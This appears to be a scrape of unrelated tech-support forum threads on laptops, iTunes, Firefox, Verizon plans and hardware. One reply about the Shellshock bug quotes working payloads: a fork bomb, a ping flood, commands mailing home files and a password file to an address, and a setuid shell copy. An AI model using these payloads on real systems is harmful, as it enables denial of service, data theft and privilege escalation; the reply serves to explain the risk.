Are there any other rebooting options for the Toshiba, Satellite A215-S7425 without discs?

I can't find any of the reformatting discs my laptop came with. I was wondering if there are other possible ways to wipe everything off my laptop without performing a manual reboot. I.e. On start-up menu pressing F10 or so?
Please help!

Do you just want to reformat the hard drive or do you want to install and OS (as in recover the system to it's factory out of box state)? If all you want to do is reformat the hard drive you can use any number of self booting tools that you can download. All formatting does is prepare the hard drive for use by placing magnetic markers on the drive surface to define the sectors in which data is stored in preperation to installing an operating system.
If you want to actually install an OS hold down the 0 (zero) key when powering up the system. If it has a hard drive based recovery system this will invoke it. If it doesn't then you'll either need to find your disks, contact Toshiba and order replacement disks as per this post, purchase a new Windows disk to install Windows, or download a free Linux disk and use that.
Plus there is no way to do this without doing a reboot of the system. It's physically impossible.
If you don't post your COMPLETE model number it's very difficult to assist you. Please try to post in complete sentences with punctuation, capitals, and correct spelling. Toshiba does NOT provide any direct support in these forums. All support is User to User in their spare time.

If the phone is turned off, doesn't have an internet connection, or has been restored preventing "Find my iPhone" from being able to work, there is no other way to track it.

You might want to search in the App Store.

Are there any other languages based on the JVM?

are there any other languages based on the java virtual machine? woud sun allow/support that? are there any projects on this from sun or other enterprises? or some openssource projects from some enthusiastic people?

the list counts 160 languages!Ah well... looks like I was rather wrong then :-(I'm not so sure you were. When I first started with Java I expected a number of other languages to appear that would compile to Java byte code. To me it seemed an obvious way for toolmakers such as Powersoft (PowerBuilder) to get into the Java market yet still keep customers tied to their toolset but this hasn't seemed to happen.
There may be 160 languages/tools on that page but how many are in widespread use?

Are there any wall mount brackets for the new iMac 27" 5k?

I have a wall mount (Bretford) for my Cinema HD Display that I have been using since 2008. I just purchased the new iMac 27inch 5k computer. It would be great to be able to use this computer with the wall mount. The ones that are available (VESA) from the apple store and say they will work with some older iMacs. My question is are there any available for the iMac I purchased? Thanks.

Hi. The VESA mounts for the iMacs are not "changeable": either you buy an iMac with a pedestal, either you buy one with a VESA mount, but you cannot switch, because the VESA mount is the first thing built in the iMac. You would need to sell your 5K iMac and buy a VESA 5K iMac.

Are there any other support options?

Does anyone know of a legitimate alternative human support option for Firefox, such as telephone, or chat, or direct one on one email, including paid/fee-based, options?

iamjayakumars,
There are a number. This forum method is cumbersome (though very good, and people are very helpful), and often the elapsed time is too great for the nature or severity and/or urgency of the issues. Then, when you do get an answer, with - refer to such and such link or article, and try it, there are subsequent followups that can occur, again with the wait involved, and another layer of complexity to the problem. I would like at least have direct email with someone, or "someones, ".
For instance, see my question posted 03/3/13, 7:56 AM -
"I would like to change my mozilla support user name. Or, delete my account/login and create a new one. How do I do it? "
It is now 04/06/13, and not resolved, and this is a straightforward one, without complications.
I've got more complex ones that I would be better served with direct one on one communication. I would pay for it.
Also, see this question -
"How can I find/restore inadvertently deleted Bookmarks Folders, Bookmarks, and Bookmarks Toolbar Bookmarks?"
posted by stevek302 (that is also me), on 3/29/13 10:20 PM. I tried the profile method. but while installing, I chose a different folder/path then the x86 location, which is by design. At first it seemed to work, it was a clean install, without my 20 extensions, and 150 Bookmarks folders, and 100 Bookmarks Toolbar bookmarks. But now the new profile is no longer in Profile Manager. I ran the .exe setup file again, again chose a new folder, it appears to have installed in the new folder, but clicking it and opening it in the new folder, it opens with all the extensions, Bookmarks, etc., from the other Default profile. Now, it's 8 days later, and I still don't have it answered. I would willingly pay x amount a year for email, chat, or phone support, even from a third party company. But, Mozilla could use the funds.
There are more things constantly coming up. I am a long term user. I really like FF. It is so customizable. I am a layman, not an IT/computer guy, but hopefully towards the higher end of that scale, though self-taught. I want to keep using it, but as I learn more about it and do more with it, more things come up. Right now, using Google, the results page is behaving as though an auto-paging add-on is working. I want to be able to see the related searches at the bottom of the page, but I can't get to click any because the next page endlessly loads as I get down close to the bottom. I have no auto-page extension or plugin, neither enabled, nor disabled. I may have had one sometime, but not for a while. Yet in about:config, there are a bunch of auto-paging lines. Why are they there if its been removed? And the list goes on.
Thanks,
SK

Are there any other family plans besides the share everything and edge plan?

Verizon may be losing another 6 lines if the plans dont start changing.

Wow I pay 180 for 3 iphones and 4 gb data on the share everything plan. 2 phones are off contract. Im talking about plans like they used to have where you choose a certain amount of data, minutes, and messages. I could care less about unlimited talk and txt. Most everyone I know has iphones and we just use imessage.
You do realize the minutes and texting are CHEAPER on the new plans vs the old plans. And as I said if you moved to at&t you have to choose their share plan which are basically identical to Verizon. Any ways since 2 line are off contract. Just log into My Verizon choose Change Features and then activate the Month2Month discount on the 2 lines out of contract and that'll knock off $20 a month right there.

Are there any updates to OSX for the "Bash" virus?

When will there be a update to combat the "Bash" virus?

You are actually completely wrong, a malicous website could do anything from sending a fork bomb to your computer to opening a shell and controlling your computer completely: examples from stackexchange:::
With access to bash, even from the POV of a web user, the options are endless. For example, here's a fork bomb:
() { :; }; :(){ :|: & };:
Just put that in a user agent string on a browser, go to your web page, and instant DoS on your web server.
Or, somebody could use your server as an attack bot:
() { :; }; ping -s 1000000 <victim IP>
Put that on several other servers and you're talking about real bandwidth.
Other attack vectors:
# theft of data () { :; }; mail -s "Your files" [email protected] | find ~ -print () { :; }; mail -s "This password file" [email protected] | cat ~/.secret/passwd # setuid shell () { :; }; cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash
There's endless other possibilities: reverse shells, running servers on ports, auto-downloading some rootkit to go from web user to root user. It's a shell! It can do anything. As far as security disasters go, this is even worse than Heartbleed.

Are there any sport armbands available for the iphone 4 yet??

i've been looking all over. The only ones that i see specifically for the iphone 4 are from Belkin and they're not available yet..

Marware looks like they have some options. Some may be out of stock on the site, but other vendors look to have them if you do a google search for the model you want.

Are there any free games/apps for the Classic??

Seems like if you don't own an iTouch or iPhone, your SOL! I've read to be careful just downloading anything from anywhere. Are there safe sites offering games and/or apps? Thanks!

None that I am aware of, just the limited games that are available on the iTunes Store.

Besides PCTx, are there any other hardware devices with the same function?

Hi there
In order for me to transfer my Labview data from my PC to a Futaba T10CAP controller (http://www.astramodel.cz/manualy/futaba/futaba_10cp_eng.pdf), I will need a hardware to do the linkage.
PCTx (http://www.endurance-rc.com/pctx.php) is one of the hardware device that enables me to do such a thing but their Labview demo problems doesn't work on the PCTx. Therefore I am looking for an alternative hardware solution where my Labview can interface with the RC controller.
Welcome any input! Thanks and regard =)

Are there any graphic driver updates for Satellite L850-162

Are there any driver updates available for the L850-162?
I'm just running with the ones that came installed with the laptop but the display is pixellated and jumpy when watching video.
Any help/advice would be much appreciated

Sat L850-162 is a part of the PSKDGE and it has been equipped with an Intel HD (INTEL HM76) Express chipset (graphic chip)
There are more Toshiba series which use the same chipset so you could also use the drivers released for such notebook models.
For example:
C850 PSKC8E
C855 PSKC8E
C870 PSC8EE
L830 PSK84E
L870 PSKBGE
P850 PSPKBE
and others
At least you could also try to use the Intel HD HM76 driver from the Intel page.

Since I have the newest version of itunes, I can't back up like normally. The only way is to considilate files and then put them on an external drive which I don't have. Are there any other options? If I can't back up to a disc like I used to, can I instead just keep everything on my ipod and then if I have to get a new computer or something just download all my songs from the ipod to my new computer's itunes? Will that work? Will I still be able to keep all my songs that way?

I'm going to assume the consolidating files does not work due to hard drive space limitations.
Since you're moving to Windows 7, have you tried using the Windows files and settings transfer utility? That will move everything for you to the same location on the new computer, it also allows some control over what actually gets moved.
Alternatively, if you know the location of all of the media, it can be manually moved by copying it from the old computer to the new computer in the same location.
Also, using the Apple article on moving the library, take a slight twist on what it says. Move the iTunes library to the external drive, update the settings in iTunes to reflect the library being on the external drive, then consolodate it.
The options are endless for moving the library... it simply takes a little effort to make it happen and possibly a twist on existing "standard" methods depending on your unique situation.

Do you mean physical support for repairs, or just advice? The latter is available free of charge on these forums as well as in Apple Stores.

lovethoseleaves,
Oh no! I am saddened to hear that you are having troubles with your MMS pictures. I know that this can be an important thing to be able to do. I appreciate you working with us to get this matter resolved as well. I see that you have spent time working with us, and I know that can also be frustrating. There are a few things we can check though. Are these to any specific numbers or all? A factory reset certainly should've resolved this. We can check into the account set up as well for that if need be. Please share any additional details that you can think of. Thanks.
